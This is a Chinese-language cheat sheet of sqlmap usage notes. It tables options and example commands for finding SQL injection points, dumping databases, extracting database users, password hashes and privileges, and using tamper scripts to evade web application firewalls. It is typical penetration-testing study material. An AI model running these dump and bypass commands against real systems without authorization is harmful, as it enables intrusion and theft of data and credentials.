【Web安全】sqlmap的使用笔记
文章目录
- 【Web安全】sqlmap的使用笔记
- 1. 目标
- 2. 脱库
-
- 3. 其他
-
- 4. 绕过脚本tamper讲解
1. 目标
操作 | 作用 | 必要示例 |
---|
-u | 指定URL,检测注入点 | sqlmap -u 'http://example.com/?id=1' |
-m | 指定txt,里面有很多个URL | sqlmap -m urls.txt |
-r | 检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中 | sqlmap -r request.txt |
–cookie | 指定cookie的值,单/双引号包裹 | sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234' |
-D | 指定数据库 | sqlmap -u 'http://example.com/?id=1' -D mydatabase |
-T | 指定表 | sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable |
-C | 指定字段 | sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn |
2. 脱库
操作 | 作用 | 必要示例 |
---|
-b | 获取数据库版本 | sqlmap -u <url> -b |
–current-db | 当前数据库 | sqlmap -u <url> --current-db |
–dbs | 获取数据库 | sqlmap -u <url> --dbs |
–tables | 获取表 | sqlmap -u <url> --tables -D <database> |
–columns | 获取字段 | sqlmap -u <url> --columns -D <database> -T <table> |
–schema | 字段类型 | sqlmap -u <url> --schema -D <database> |
–dump | 获取数据 | sqlmap -u <url> --dump -D <database> -T <table> |
–start | 开始的行 | sqlmap -u <url> --start=1 -D <database> -T <table> |
–stop | 结束的行 | sqlmap -u <url> --stop=10 -D <database> -T <table> |
–search | 搜索库表字段 | sqlmap -u <url> --search -C <column> |
–tamper | WAF绕过 | sqlmap -u <url> --tamper=<tamper_script> |
2.1. 脱库(补充)
- –current-db获取的是当前的数据库名称,而–dbs获取的是所有的数据库名称
- WAF 指的是“Web Application Firewall”,即网络应用防火墙,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多内置的绕过脚本(脚本按照用途命名),在/usr/share/sqlmap/tamper/目录下
- –search:如果你正在寻找包含特定关键字的列,这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。
3. 其他
操作 | 作用 | 必要示例 |
---|
–batch | 不再询问确认 | sqlmap -u 'http://example.com/?id=1' --batch |
–method=GET | 指定请求方式 | sqlmap -u 'http://example.com/?id=1' --method=GET |
–random-agent | 随机UA | sqlmap -u 'http://example.com/?id=1' --random-agent |
–user-agent | 自定义UA | sqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent' |
–referer | 自定义referer | sqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com' |
–proxy=“123” | 代理 | sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080' |
–threads 10 | 线程数1~10 | sqlmap -u 'http://example.com/?id=1' --threads 10 |
–level=1 | 测试等级1~5 | sqlmap -u 'http://example.com/?id=1' --level=1 |
–risk=1 | 风险等级0~3 | sqlmap -u 'http://example.com/?id=1' --risk=1 |
3.1. 其他(补充)
- 测试等级:这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试,这些测试可能更复杂,有时也更具侵入性。例如,在较低的等级上,SQLMap 可能只测试最常见的注入类型,而在较高等级上,它会尝试更多不常见的或复杂的注入技术。
- 风险等级:风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试,这些测试可能会对数据库造成更大的负担或风险。例如,一些高风险测试可能包括执行实际的数据库操作(如更新或删除数据),而低风险测试则尽量避免这种潜在的破坏性操作。
操作 | 作用 | 必要示例 |
---|
-a | 自动识别和测试所有参数 | sqlmap -u 'http://example.com/?id=1' -a |
–current-user | 获取当前数据库用户 | sqlmap -u 'http://example.com/?id=1' --current-user |
–is-dba | 是不是数据库管理员 | sqlmap -u 'http://example.com/?id=1' --is-dbs |
–users | 枚举数据库服务器上的用户 | sqlmap -u 'http://example.com/?id=1' --users |
–privileges | 枚举数据库用户的权限 | sqlmap -u 'http://example.com/?id=1' --privileges |
–passwords | 尝试获取数据库用户的密码 | sqlmap -u 'http://example.com/?id=1' --passwords |
–hostname | 获取数据库服务器的主机名 | sqlmap -u 'http://example.com/?id=1' --hostname |
–statements | 捕获并显示SQL语句 | sqlmap -u 'http://example.com/?id=1' --statements |
4. 绕过脚本tamper讲解
sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,我们还可以使用–tamper参数对数据进行修改来绕过WAF等设备,其中部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则:
sqlmap XXXXX --tamper "模块名"
sqlmap内置了53个脚本,其中常见的是:
- apostrophemask.py:将引号替换为UTF-8字符,用于过滤单引号
- base64encode.py:替换为base64编码
- multiplespaces.py:围绕SQL关键字添加多个空格
- space2plus:用+号替换空格
- nonrecursivereplacement.py:作为双重查询语句,用双重查询代替预定义的SQL关键字,使适用于非常弱的自定义过滤器,例如将SELECT替换为空
- space2randomblank.py:将空格替换为其他的有效字符
- unionalltounion.py:将UNION ALL SELECT替换为UNION SELECT
- securesphere.py:追加特制的字符串
- space2hash.py:将空格替换为#号,并添加一个随机字符串和换行符
- space2mssqlblank.py(mssql):将空格替换为其他空符号
- space2mssqlhash.py:将空格替换为#号,并添加一个换行符